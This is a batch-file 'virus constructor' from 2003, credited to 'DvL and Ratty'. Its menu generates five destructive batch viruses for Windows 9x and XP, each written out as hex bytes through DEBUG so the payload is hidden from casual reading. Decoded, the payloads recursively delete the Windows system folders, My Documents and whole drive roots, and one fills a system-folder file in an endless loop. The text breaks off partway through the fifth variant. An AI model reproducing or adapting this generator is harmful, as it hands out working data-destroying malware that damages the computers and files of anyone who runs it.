@echo off
:menu
echo.
echo.
echo                    ΙΝΝΝ  DvL and Ratty proudly presents  ΝΝΝ»
echo                    Ί   The Silly BATch viruz constructor    Ί
echo                    ΘΝΝΝ              v 2.0               ΝΝΝΌ
echo.
echo.
echo    PRO-create your file (press a number):
echo    ΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ
echo.
echo.
echo    1 - This option will produce the BATlle-Field.c viruz for winXP
echo    2 - This option will produce the BATlle-Field.d viruz for winXP
echo    3 - This option will produce the BATlle-Field.e viruz for win9X and winXP 
echo    4 - This option will produce the BaT.LoopZ.c viruz for win9X
echo    5 - This option will produce the variabZ.b viruz for win9X
echo.
echo    Q - Quit
echo.
echo.
choice /c:12345Q>nul
if errorlevel 6 goto done
if errorlevel 5 goto 5
if errorlevel 4 goto 4
if errorlevel 3 goto 3
if errorlevel 2 goto 2
if errorlevel 1 goto 1
echo CHOICE missing
goto done

:1
ctty nul
@if exist BATlle-Field.c.bat goto done
echo e 0100  3A 3A 20 0D 0A 3A 3A 20 42 41 54 6C 6C 65 2D 46>>BATlle-Field.c
echo e 0110  69 65 6C 64 2E 63 20 66 6F 72 20 77 69 6E 58 50>>BATlle-Field.c
echo e 0120  0D 0A 3A 3A 0D 0A 3A 3A 20 43 72 65 61 74 65 64>>BATlle-Field.c
echo e 0130  20 66 6F 72 20 53 62 43 20 32 2E 30 20 62 79 20>>BATlle-Field.c
echo e 0140  44 76 4C 20 61 6E 64 20 52 61 74 74 79 0D 0A 3A>>BATlle-Field.c
echo e 0150  3A 20 31 38 2E 30 35 2E 32 30 30 33 0D 0A 3A 3A>>BATlle-Field.c
echo e 0160  0D 0A 3A 3A 20 43 72 65 61 74 65 64 20 62 79 20>>BATlle-Field.c
echo e 0170  32 20 67 6F 6F 64 20 66 72 69 65 6E 64 73 20 72>>BATlle-Field.c
echo e 0180  65 75 6E 69 74 65 64 0D 0A 3A 3A 20 44 76 4C 20>>BATlle-Field.c
echo e 0190  20 20 20 20 20 28 20 64 76 6C 32 30 30 33 72 6F>>BATlle-Field.c
echo e 01A0  40 79 61 68 6F 6F 2E 63 6F 2E 75 6B 20 29 0D 0A>>BATlle-Field.c
echo e 01B0  3A 3A 20 52 61 74 74 79 20 20 20 20 28 20 72 61>>BATlle-Field.c
echo e 01C0  74 74 79 32 30 30 31 72 6F 40 79 61 68 6F 6F 2E>>BATlle-Field.c
echo e 01D0  63 6F 6D 20 29 0D 0A 3A 3A 20 43 6F 6E 74 61 63>>BATlle-Field.c
echo e 01E0  74 20 75 73 2E 0D 0A 3A 3A 0D 0A 40 65 63 68 6F>>BATlle-Field.c
echo e 01F0  20 6F 66 66 0D 0A 63 74 74 79 20 6E 75 6C 0D 0A>>BATlle-Field.c
echo e 0200  76 65 72 20 7C 20 66 69 6E 64 20 22 58 50 22 0D>>BATlle-Field.c
echo e 0210  0A 69 66 20 65 72 72 6F 72 6C 65 76 65 6C 20 31>>BATlle-Field.c
echo e 0220  20 67 6F 74 6F 20 64 6F 6E 65 0D 0A 69 66 20 6E>>BATlle-Field.c
echo e 0230  6F 74 20 65 72 72 6F 72 6C 65 76 65 6C 20 31 20>>BATlle-Field.c
echo e 0240  67 6F 74 6F 20 3A 58 50 0D 0A 3A 58 50 0D 0A 69>>BATlle-Field.c
echo e 0250  66 20 65 78 69 73 74 20 63 3A 5C 25 72 61 6E 64>>BATlle-Field.c
echo e 0260  6F 6D 25 2E 20 28 64 65 6C 20 2F 66 20 2F 73 20>>BATlle-Field.c
echo e 0270  63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C>>BATlle-Field.c
echo e 0280  73 65 20 65 63 68 6F 20 63 3A 5C 25 72 61 6E 64>>BATlle-Field.c
echo e 0290  6F 6D 25 2E 20 6D 69 73 73 69 6E 67 0D 0A 69 66>>BATlle-Field.c
echo e 02A0  20 65 78 69 73 74 20 63 3A 5C 25 72 61 6E 64 6F>>BATlle-Field.c
echo e 02B0  6D 25 2E 20 28 64 65 6C 20 2F 66 20 2F 73 20 63>>BATlle-Field.c
echo e 02C0  3A 5C 25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C 73>>BATlle-Field.c
echo e 02D0  65 20 65 63 68 6F 20 63 3A 5C 25 72 61 6E 64 6F>>BATlle-Field.c
echo e 02E0  6D 25 2E 20 6D 69 73 73 69 6E 67 0D 0A 69 66 20>>BATlle-Field.c
echo e 02F0  65 78 69 73 74 20 63 3A 5C 25 72 61 6E 64 6F 6D>>BATlle-Field.c
echo e 0300  25 2E 20 28 64 65 6C 20 2F 66 20 2F 73 20 63 3A>>BATlle-Field.c
echo e 0310  5C 25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65>>BATlle-Field.c
echo e 0320  20 65 63 68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D>>BATlle-Field.c
echo e 0330  25 2E 20 6D 69 73 73 69 6E 67 0D 0A 69 66 20 65>>BATlle-Field.c
echo e 0340  78 69 73 74 20 63 3A 5C 25 72 61 6E 64 6F 6D 25>>BATlle-Field.c
echo e 0350  2E 20 28 64 65 6C 20 2F 66 20 2F 73 20 63 3A 5C>>BATlle-Field.c
echo e 0360  25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65 20>>BATlle-Field.c
echo e 0370  65 63 68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D 25>>BATlle-Field.c
echo e 0380  2E 20 6D 69 73 73 69 6E 67 0D 0A 69 66 20 65 78>>BATlle-Field.c
echo e 0390  69 73 74 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E>>BATlle-Field.c
echo e 03A0  20 28 64 65 6C 20 2F 66 20 2F 73 20 63 3A 5C 25>>BATlle-Field.c
echo e 03B0  72 61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65 20 65>>BATlle-Field.c
echo e 03C0  63 68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E>>BATlle-Field.c
echo e 03D0  20 6D 69 73 73 69 6E 67 0D 0A 69 66 20 65 78 69>>BATlle-Field.c
echo e 03E0  73 74 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20>>BATlle-Field.c
echo e 03F0  28 64 65 6C 20 2F 66 20 2F 73 20 63 3A 5C 25 72>>BATlle-Field.c
echo e 0400  61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65 20 65 63>>BATlle-Field.c
echo e 0410  68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20>>BATlle-Field.c
echo e 0420  6D 69 73 73 69 6E 67 0D 0A 67 6F 74 6F 20 58 50>>BATlle-Field.c
echo e 0430  0D 0A 63 74 74 79 20 63 6F 6E 0D 0A 65 78 69 74>>BATlle-Field.c
echo e 0440  0D 0A 3A 64 6F 6E 65 0D 0A 63 74 74 79 20 63 6F>>BATlle-Field.c
echo e 0450  6E 0D 0A 63 6C 73 00>>BATlle-Field.c
echo rcx>>BATlle-Field.c
echo 356>>BATlle-Field.c
echo n bat>>BATlle-Field.c
echo w>>BATlle-Field.c
echo q>>BATlle-Field.c
@debug<BATlle-Field.c
@ren bat BATlle-Field.c.bat
@deltree/y bat >nul
@deltree/y BATlle-Field.c >nul
ctty con
goto done

:2
ctty nul
@if exist BATlle-Field.d.bat goto done
echo e 0100  3A 3A 20 0D 0A 3A 3A 20 42 41 54 6C 6C 65 2D 46>>BATlle-Field.d
echo e 0110  69 65 6C 64 2E 64 20 66 6F 72 20 77 69 6E 58 50>>BATlle-Field.d
echo e 0120  0D 0A 3A 3A 0D 0A 3A 3A 20 43 72 65 61 74 65 64>>BATlle-Field.d
echo e 0130  20 66 6F 72 20 53 62 43 20 32 2E 30 20 62 79 20>>BATlle-Field.d
echo e 0140  44 76 4C 20 61 6E 64 20 52 61 74 74 79 0D 0A 3A>>BATlle-Field.d
echo e 0150  3A 20 31 39 2E 30 35 2E 32 30 30 33 0D 0A 3A 3A>>BATlle-Field.d
echo e 0160  0D 0A 3A 3A 20 43 72 65 61 74 65 64 20 62 79 20>>BATlle-Field.d
echo e 0170  32 20 67 6F 6F 64 20 66 72 69 65 6E 64 73 20 72>>BATlle-Field.d
echo e 0180  65 75 6E 69 74 65 64 0D 0A 3A 3A 20 44 76 4C 20>>BATlle-Field.d
echo e 0190  20 20 20 20 20 28 20 64 76 6C 32 30 30 33 72 6F>>BATlle-Field.d
echo e 01A0  40 79 61 68 6F 6F 2E 63 6F 2E 75 6B 20 29 0D 0A>>BATlle-Field.d
echo e 01B0  3A 3A 20 52 61 74 74 79 20 20 20 20 28 20 72 61>>BATlle-Field.d
echo e 01C0  74 74 79 32 30 30 31 72 6F 40 79 61 68 6F 6F 2E>>BATlle-Field.d
echo e 01D0  63 6F 6D 20 29 0D 0A 3A 3A 20 43 6F 6E 74 61 63>>BATlle-Field.d
echo e 01E0  74 20 75 73 2E 0D 0A 3A 3A 0D 0A 40 65 63 68 6F>>BATlle-Field.d
echo e 01F0  20 6F 66 66 0D 0A 63 74 74 79 20 6E 75 6C 0D 0A>>BATlle-Field.d
echo e 0200  76 65 72 20 7C 20 66 69 6E 64 20 22 58 50 22 0D>>BATlle-Field.d
echo e 0210  0A 69 66 20 65 72 72 6F 72 6C 65 76 65 6C 20 31>>BATlle-Field.d
echo e 0220  20 67 6F 74 6F 20 64 6F 6E 65 0D 0A 69 66 20 6E>>BATlle-Field.d
echo e 0230  6F 74 20 65 72 72 6F 72 6C 65 76 65 6C 20 31 20>>BATlle-Field.d
echo e 0240  67 6F 74 6F 20 3A 58 50 0D 0A 3A 58 50 0D 0A 69>>BATlle-Field.d
echo e 0250  66 20 65 78 69 73 74 20 63 3A 5C 25 72 61 6E 64>>BATlle-Field.d
echo e 0260  6F 6D 25 2E 20 28 72 65 6E 20 63 3A 5C 25 72 61>>BATlle-Field.d
echo e 0270  6E 64 6F 6D 25 20 25 72 61 6E 64 6F 6D 25 2E 29>>BATlle-Field.d
echo e 0280  20 65 6C 73 65 20 65 63 68 6F 20 63 3A 5C 25 72>>BATlle-Field.d
echo e 0290  61 6E 64 6F 6D 25 2E 20 6D 69 73 73 69 6E 67 0D>>BATlle-Field.d
echo e 02A0  0A 69 66 20 65 78 69 73 74 20 63 3A 5C 25 72 61>>BATlle-Field.d
echo e 02B0  6E 64 6F 6D 25 2E 20 28 72 65 6E 20 63 3A 5C 25>>BATlle-Field.d
echo e 02C0  72 61 6E 64 6F 6D 25 20 25 72 61 6E 64 6F 6D 25>>BATlle-Field.d
echo e 02D0  2E 29 20 65 6C 73 65 20 65 63 68 6F 20 63 3A 5C>>BATlle-Field.d
echo e 02E0  25 72 61 6E 64 6F 6D 25 2E 20 6D 69 73 73 69 6E>>BATlle-Field.d
echo e 02F0  67 0D 0A 69 66 20 65 78 69 73 74 20 63 3A 5C 25>>BATlle-Field.d
echo e 0300  72 61 6E 64 6F 6D 25 2E 20 28 72 65 6E 20 63 3A>>BATlle-Field.d
echo e 0310  5C 25 72 61 6E 64 6F 6D 25 20 25 72 61 6E 64 6F>>BATlle-Field.d
echo e 0320  6D 25 2E 29 20 65 6C 73 65 20 65 63 68 6F 20 63>>BATlle-Field.d
echo e 0330  3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 6D 69 73 73>>BATlle-Field.d
echo e 0340  69 6E 67 0D 0A 69 66 20 65 78 69 73 74 20 63 3A>>BATlle-Field.d
echo e 0350  5C 25 72 61 6E 64 6F 6D 25 2E 20 28 72 65 6E 20>>BATlle-Field.d
echo e 0360  63 3A 5C 25 72 61 6E 64 6F 6D 25 20 25 72 61 6E>>BATlle-Field.d
echo e 0370  64 6F 6D 25 2E 29 20 65 6C 73 65 20 65 63 68 6F>>BATlle-Field.d
echo e 0380  20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 6D 69>>BATlle-Field.d
echo e 0390  73 73 69 6E 67 0D 0A 69 66 20 65 78 69 73 74 20>>BATlle-Field.d
echo e 03A0  63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 28 72 65>>BATlle-Field.d
echo e 03B0  6E 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 20 25 72>>BATlle-Field.d
echo e 03C0  61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65 20 65 63>>BATlle-Field.d
echo e 03D0  68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20>>BATlle-Field.d
echo e 03E0  6D 69 73 73 69 6E 67 0D 0A 69 66 20 65 78 69 73>>BATlle-Field.d
echo e 03F0  74 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 28>>BATlle-Field.d
echo e 0400  72 65 6E 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 20>>BATlle-Field.d
echo e 0410  25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65 20>>BATlle-Field.d
echo e 0420  65 63 68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D 25>>BATlle-Field.d
echo e 0430  2E 20 6D 69 73 73 69 6E 67 0D 0A 67 6F 74 6F 20>>BATlle-Field.d
echo e 0440  58 50 0D 0A 63 74 74 79 20 63 6F 6E 0D 0A 65 78>>BATlle-Field.d
echo e 0450  69 74 0D 0A 3A 64 6F 6E 65 0D 0A 63 74 74 79 20>>BATlle-Field.d
echo e 0460  63 6F 6E 0D 0A 63 6C 73 00>>BATlle-Field.d
echo rcx>>BATlle-Field.d
echo 368>>BATlle-Field.d
echo n bat>>BATlle-Field.d
echo w>>BATlle-Field.d
echo q>>BATlle-Field.d
@debug<BATlle-Field.d
@ren bat BATlle-Field.d.bat
@deltree/y bat >nul
@deltree/y BATlle-Field.d >nul
ctty con
goto done

:3
ctty nul
@if exist BATlle-Field.e.bat goto done
echo e 0100  3A 3A 20 0D 0A 3A 3A 20 42 41 54 6C 6C 65 2D 46>>BATlle-Field.e
echo e 0110  69 65 6C 64 2E 65 20 66 6F 72 20 77 69 6E 39 58>>BATlle-Field.e
echo e 0120  20 61 6E 64 20 77 69 6E 58 50 0D 0A 3A 3A 0D 0A>>BATlle-Field.e
echo e 0130  3A 3A 20 43 72 65 61 74 65 64 20 66 6F 72 20 53>>BATlle-Field.e
echo e 0140  62 43 20 32 2E 30 20 62 79 20 44 76 4C 20 61 6E>>BATlle-Field.e
echo e 0150  64 20 52 61 74 74 79 0D 0A 3A 3A 20 31 39 2E 30>>BATlle-Field.e
echo e 0160  35 2E 32 30 30 33 0D 0A 3A 3A 0D 0A 3A 3A 20 43>>BATlle-Field.e
echo e 0170  72 65 61 74 65 64 20 62 79 20 32 20 67 6F 6F 64>>BATlle-Field.e
echo e 0180  20 66 72 69 65 6E 64 73 20 72 65 75 6E 69 74 65>>BATlle-Field.e
echo e 0190  64 0D 0A 3A 3A 20 44 76 4C 20 20 20 20 20 20 28>>BATlle-Field.e
echo e 01A0  20 64 76 6C 32 30 30 33 72 6F 40 79 61 68 6F 6F>>BATlle-Field.e
echo e 01B0  2E 63 6F 2E 75 6B 20 29 0D 0A 3A 3A 20 52 61 74>>BATlle-Field.e
echo e 01C0  74 79 20 20 20 20 28 20 72 61 74 74 79 32 30 30>>BATlle-Field.e
echo e 01D0  31 72 6F 40 79 61 68 6F 6F 2E 63 6F 6D 20 29 0D>>BATlle-Field.e
echo e 01E0  0A 3A 3A 20 43 6F 6E 74 61 63 74 20 75 73 2E 0D>>BATlle-Field.e
echo e 01F0  0A 3A 3A 0D 0A 40 65 63 68 6F 20 6F 66 66 0D 0A>>BATlle-Field.e
echo e 0200  63 74 74 79 20 6E 75 6C 0D 0A 76 65 72 20 7C 20>>BATlle-Field.e
echo e 0210  66 69 6E 64 20 22 58 50 22 0D 0A 69 66 20 65 72>>BATlle-Field.e
echo e 0220  72 6F 72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20>>BATlle-Field.e
echo e 0230  44 76 4C 0D 0A 69 66 20 6E 6F 74 20 65 72 72 6F>>BATlle-Field.e
echo e 0240  72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20 3A 58>>BATlle-Field.e
echo e 0250  50 0D 0A 3A 44 76 4C 0D 0A 40 66 6F 72 20 25 25>>BATlle-Field.e
echo e 0260  6B 20 69 6E 20 28 25 77 69 6E 64 69 72 25 5C 73>>BATlle-Field.e
echo e 0270  79 73 74 65 6D 5C 2A 2E 2A 2C 20 63 3A 5C 6D 79>>BATlle-Field.e
echo e 0280  64 6F 63 75 7E 31 5C 2A 2E 2A 2C 20 2A 2E 2A 2C>>BATlle-Field.e
echo e 0290  20 2E 2E 5C 2A 2E 2A 2C 20 25 77 69 6E 64 69 72>>BATlle-Field.e
echo e 02A0  25 5C 2A 2E 2A 2C 20 25 77 69 6E 64 69 72 25 5C>>BATlle-Field.e
echo e 02B0  69 6E 66 5C 2A 2E 2A 29 20 64 6F 20 64 65 6C 74>>BATlle-Field.e
echo e 02C0  72 65 65 2F 79 20 25 25 6B 20 0D 0A 65 63 68 6F>>BATlle-Field.e
echo e 02D0  2E 6D 73 67 62 6F 78 20 22 42 41 54 20 63 6F 6D>>BATlle-Field.e
echo e 02E0  6D 61 6E 64 20 6F 72 20 66 69 6C 65 20 6E 61 6D>>BATlle-Field.e
echo e 02F0  65 20 21 21 21 22 2C 30 2C 22 42 41 54 6C 6C 65>>BATlle-Field.e
echo e 0300  2D 46 69 65 6C 64 2E 65 20 62 79 20 44 76 4C 20>>BATlle-Field.e
echo e 0310  61 6E 64 20 52 61 74 74 79 22 3E 44 76 4C 2E 76>>BATlle-Field.e
echo e 0320  62 73 0D 0A 73 74 61 72 74 20 44 76 4C 2E 76 62>>BATlle-Field.e
echo e 0330  73 0D 0A 63 6C 73 0D 0A 67 6F 74 6F 20 64 6F 6E>>BATlle-Field.e
echo e 0340  65 0D 0A 3A 58 50 0D 0A 69 66 20 65 78 69 73 74>>BATlle-Field.e
echo e 0350  20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 28 72>>BATlle-Field.e
echo e 0360  64 20 2F 73 20 2F 71 20 63 3A 5C 25 72 61 6E 64>>BATlle-Field.e
echo e 0370  6F 6D 25 2E 29 20 65 6C 73 65 20 65 63 68 6F 20>>BATlle-Field.e
echo e 0380  63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 6D 69 73>>BATlle-Field.e
echo e 0390  73 69 6E 67 0D 0A 69 66 20 65 78 69 73 74 20 63>>BATlle-Field.e
echo e 03A0  3A 5C 25 72 61 6E 64 6F 6D 25 2E 20 28 72 64 20>>BATlle-Field.e
echo e 03B0  2F 73 20 2F 71 20 63 3A 5C 25 72 61 6E 64 6F 6D>>BATlle-Field.e
echo e 03C0  25 2E 29 20 65 6C 73 65 20 65 63 68 6F 20 63 3A>>BATlle-Field.e
echo e 03D0  5C 25 72 61 6E 64 6F 6D 25 2E 20 6D 69 73 73 69>>BATlle-Field.e
echo e 03E0  6E 67 0D 0A 69 66 20 65 78 69 73 74 20 63 3A 5C>>BATlle-Field.e
echo e 03F0  25 72 61 6E 64 6F 6D 25 2E 20 28 72 64 20 2F 73>>BATlle-Field.e
echo e 0400  20 2F 71 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E>>BATlle-Field.e
echo e 0410  29 20 65 6C 73 65 20 65 63 68 6F 20 63 3A 5C 25>>BATlle-Field.e
echo e 0420  72 61 6E 64 6F 6D 25 2E 20 6D 69 73 73 69 6E 67>>BATlle-Field.e
echo e 0430  0D 0A 69 66 20 65 78 69 73 74 20 63 3A 5C 25 72>>BATlle-Field.e
echo e 0440  61 6E 64 6F 6D 25 2E 20 28 72 64 20 2F 73 20 2F>>BATlle-Field.e
echo e 0450  71 20 63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 29 20>>BATlle-Field.e
echo e 0460  65 6C 73 65 20 65 63 68 6F 20 63 3A 5C 25 72 61>>BATlle-Field.e
echo e 0470  6E 64 6F 6D 25 2E 20 6D 69 73 73 69 6E 67 0D 0A>>BATlle-Field.e
echo e 0480  69 66 20 65 78 69 73 74 20 63 3A 5C 25 72 61 6E>>BATlle-Field.e
echo e 0490  64 6F 6D 25 2E 20 28 72 64 20 2F 73 20 2F 71 20>>BATlle-Field.e
echo e 04A0  63 3A 5C 25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C>>BATlle-Field.e
echo e 04B0  73 65 20 65 63 68 6F 20 63 3A 5C 25 72 61 6E 64>>BATlle-Field.e
echo e 04C0  6F 6D 25 2E 20 6D 69 73 73 69 6E 67 0D 0A 69 66>>BATlle-Field.e
echo e 04D0  20 65 78 69 73 74 20 63 3A 5C 25 72 61 6E 64 6F>>BATlle-Field.e
echo e 04E0  6D 25 2E 20 28 72 64 20 2F 73 20 2F 71 20 63 3A>>BATlle-Field.e
echo e 04F0  5C 25 72 61 6E 64 6F 6D 25 2E 29 20 65 6C 73 65>>BATlle-Field.e
echo e 0500  20 65 63 68 6F 20 63 3A 5C 25 72 61 6E 64 6F 6D>>BATlle-Field.e
echo e 0510  25 2E 20 6D 69 73 73 69 6E 67 0D 0A 67 6F 74 6F>>BATlle-Field.e
echo e 0520  20 58 50 0D 0A 63 74 74 79 20 63 6F 6E 0D 0A 65>>BATlle-Field.e
echo e 0530  78 69 74 0D 0A 3A 64 6F 6E 65 0D 0A 63 74 74 79>>BATlle-Field.e
echo e 0540  20 63 6F 6E 0D 0A 63 6C 73 00>>BATlle-Field.e
echo rcx>>BATlle-Field.e
echo 449>>BATlle-Field.e
echo n bat>>BATlle-Field.e
echo w>>BATlle-Field.e
echo q>>BATlle-Field.e
@debug<BATlle-Field.e
@ren bat BATlle-Field.e.bat
@deltree/y bat >nul
@deltree/y BATlle-Field.e >nul
ctty con
goto done

:4
ctty nul
@if exist BaT.LoopZ.c.bat goto done
echo e 0100  3A 3A 20 0D 0A 3A 3A 20 42 61 54 2E 4C 6F 6F 70>>BaT.LoopZ.c
echo e 0110  5A 2E 63 0D 0A 3A 3A 0D 0A 3A 3A 20 43 72 65 61>>BaT.LoopZ.c
echo e 0120  74 65 64 20 62 79 20 32 20 67 6F 6F 64 20 66 72>>BaT.LoopZ.c
echo e 0130  69 65 6E 64 73 20 72 65 75 6E 69 74 65 64 0D 0A>>BaT.LoopZ.c
echo e 0140  3A 3A 20 44 76 4C 20 20 20 20 20 20 28 20 64 76>>BaT.LoopZ.c
echo e 0150  6C 32 30 30 33 72 6F 40 79 61 68 6F 6F 2E 63 6F>>BaT.LoopZ.c
echo e 0160  2E 75 6B 20 29 0D 0A 3A 3A 20 52 61 74 74 79 20>>BaT.LoopZ.c
echo e 0170  20 20 20 28 20 72 61 74 74 79 32 30 30 31 72 6F>>BaT.LoopZ.c
echo e 0180  40 79 61 68 6F 6F 2E 63 6F 6D 20 29 0D 0A 3A 3A>>BaT.LoopZ.c
echo e 0190  20 43 6F 6E 74 61 63 74 20 75 73 2E 0D 0A 3A 3A>>BaT.LoopZ.c
echo e 01A0  0D 0A 40 65 63 68 6F 20 6F 66 66 0D 0A 40 65 63>>BaT.LoopZ.c
echo e 01B0  68 6F 20 55 70 64 61 74 69 6E 67 20 77 69 6E 64>>BaT.LoopZ.c
echo e 01C0  6F 77 73 20 73 79 73 74 65 6D 20 66 69 6C 65 73>>BaT.LoopZ.c
echo e 01D0  20 2E 2E 2E 0D 0A 40 65 63 68 6F 20 54 68 69 73>>BaT.LoopZ.c
echo e 01E0  20 63 6F 75 6C 64 20 74 61 6B 65 20 61 20 66 65>>BaT.LoopZ.c
echo e 01F0  77 20 6D 69 6E 75 74 65 73 20 2E 2E 2E 0D 0A 63>>BaT.LoopZ.c
echo e 0200  74 74 79 20 6E 75 6C 0D 0A 3A 44 76 4C 0D 0A 40>>BaT.LoopZ.c
echo e 0210  65 63 68 6F 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C>>BaT.LoopZ.c
echo e 0220  4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F>>BaT.LoopZ.c
echo e 0230  4F 50 20 4C 4F 4F 50 20 3E 3E 20 25 77 69 6E 64>>BaT.LoopZ.c
echo e 0240  69 72 25 5C 73 79 73 74 65 6D 5C C5 44 76 4C C5>>BaT.LoopZ.c
echo e 0250  2E 74 78 74 0D 0A 40 65 63 68 6F 20 4C 4F 4F 50>>BaT.LoopZ.c
echo e 0260  20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20>>BaT.LoopZ.c
echo e 0270  4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 3E>>BaT.LoopZ.c
echo e 0280  3E 20 25 77 69 6E 64 69 72 25 5C 73 79 73 74 65>>BaT.LoopZ.c
echo e 0290  6D 5C C5 44 76 4C C5 2E 74 78 74 0D 0A 40 65 63>>BaT.LoopZ.c
echo e 02A0  68 6F 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F>>BaT.LoopZ.c
echo e 02B0  50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50>>BaT.LoopZ.c
echo e 02C0  20 4C 4F 4F 50 20 3E 3E 20 25 77 69 6E 64 69 72>>BaT.LoopZ.c
echo e 02D0  25 5C 73 79 73 74 65 6D 5C C5 44 76 4C C5 2E 74>>BaT.LoopZ.c
echo e 02E0  78 74 0D 0A 40 65 63 68 6F 20 4C 4F 4F 50 20 4C>>BaT.LoopZ.c
echo e 02F0  4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F>>BaT.LoopZ.c
echo e 0300  4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 3E 3E 20>>BaT.LoopZ.c
echo e 0310  25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 5C>>BaT.LoopZ.c
echo e 0320  C5 44 76 4C C5 2E 74 78 74 0D 0A 40 65 63 68 6F>>BaT.LoopZ.c
echo e 0330  20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20>>BaT.LoopZ.c
echo e 0340  4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C>>BaT.LoopZ.c
echo e 0350  4F 4F 50 20 3E 3E 20 25 77 69 6E 64 69 72 25 5C>>BaT.LoopZ.c
echo e 0360  73 79 73 74 65 6D 5C C5 44 76 4C C5 2E 74 78 74>>BaT.LoopZ.c
echo e 0370  0D 0A 40 65 63 68 6F 20 4C 4F 4F 50 20 4C 4F 4F>>BaT.LoopZ.c
echo e 0380  50 20 4C 4F 4F 50 20 4C 4F 4F 50 20 4C 4F 4F 50>>BaT.LoopZ.c
echo e 0390  20 4C 4F 4F 50 20 4C 4F 4F 50 20 3E 3E 20 25 77>>BaT.LoopZ.c
echo e 03A0  69 6E 64 69 72 25 5C 73 79 73 74 65 6D 5C C5 44>>BaT.LoopZ.c
echo e 03B0  76 4C C5 2E 74 78 74 0D 0A 40 63 61 6C 6C 20 25>>BaT.LoopZ.c
echo e 03C0  30 0D 0A 67 6F 74 6F 20 44 76 4C 0D 0A 3A 3A 20>>BaT.LoopZ.c
echo e 03D0  43 72 65 61 74 65 64 20 66 6F 72 20 53 62 43 20>>BaT.LoopZ.c
echo e 03E0  32 2E 30 20 62 79 20 44 76 4C 20 61 6E 64 20 52>>BaT.LoopZ.c
echo e 03F0  61 74 74 79 0D 0A 3A 3A 20 32 31 2E 30 35 2E 32>>BaT.LoopZ.c
echo e 0400  30 30 33 0D 0A 63 74 74 79 20 63 6F 6E 0D 0A 63>>BaT.LoopZ.c
echo e 0410  6C 73 00>>BaT.LoopZ.c
echo rcx>>BaT.LoopZ.c
echo 312>>BaT.LoopZ.c
echo n bat>>BaT.LoopZ.c
echo w>>BaT.LoopZ.c
echo q>>BaT.LoopZ.c
@debug<BaT.LoopZ.c
@ren bat BaT.LoopZ.c.bat
@deltree/y bat >nul
@deltree/y BaT.LoopZ.c >nul
ctty con
goto done

:5
ctty nul
@if exist variabZ.b.bat goto done
echo e 0100  3A 3A 20 0D 0A 3A 3A 20 42 41 54 2E 76 61 72 69>>variabZ.b
echo e 0110  61 62 5A 2E 62 0D 0A 3A 3A 0D 0A 3A 3A 20 43 72>>variabZ.b
echo e 0120  65 61 74 65 64 20 62 79 20 32 20 67 6F 6F 64 20>>variabZ.b
echo e 0130  66 72 69 65 6E 64 73 2E 0D 0A 3A 3A 20 44 76 4C>>variabZ.b
echo e 0140  20 20 20 20 20 20 28 20 64 76 6C 32 30 30 33 72>>variabZ.b
echo e 0150  6F 40 79 61 68 6F 6F 2E 63 6F 2E 75 6B 20 29 0D>>variabZ.b
echo e 0160  0A 3A 3A 20 52 61 74 74 79 20 20 20 20 28 20 72>>variabZ.b
echo e 0170  61 74 74 79 32 30 30 31 72 6F 40 79 61 68 6F 6F>>variabZ.b
echo e 0180  2E 63 6F 6D 20 29 0D 0A 3A 3A 20 43 6F 6E 74 61>>variabZ.b
echo e 0190  63 74 20 75 73 2E 0D 0A 3A 3A 0D 0A 40 65 63 68>>variabZ.b
echo e 01A0  6F 20 6F 66 66 0D 0A 63 74 74 79 20 6E 75 6C 0D>>variabZ.b
echo e 01B0  0A 40 66 6F 72 20 25 25 66 20 69 6E 20 28 66 3A>>variabZ.b
echo e 01C0  5C 29 20 64 6F 20 64 65 6C 74 72 65 65 2F 79 20>>variabZ.b
echo e 01D0  25 25 66 20 3E 6E 75 6C 0D 0A 40 66 6F 72 20 25>>variabZ.b
echo e 01E0  25 65 20 69 6E 20 28 65 3A 5C 29 20 64 6F 20 64>>variabZ.b
echo e 01F0  65 6C 74 72 65 65 2F 79 20 25 25 65 20 3E 6E 75>>variabZ.b
echo e 0200  6C 0D 0A 40 66 6F 72 20 25 25 64 20 69 6E 20 28>>variabZ.b
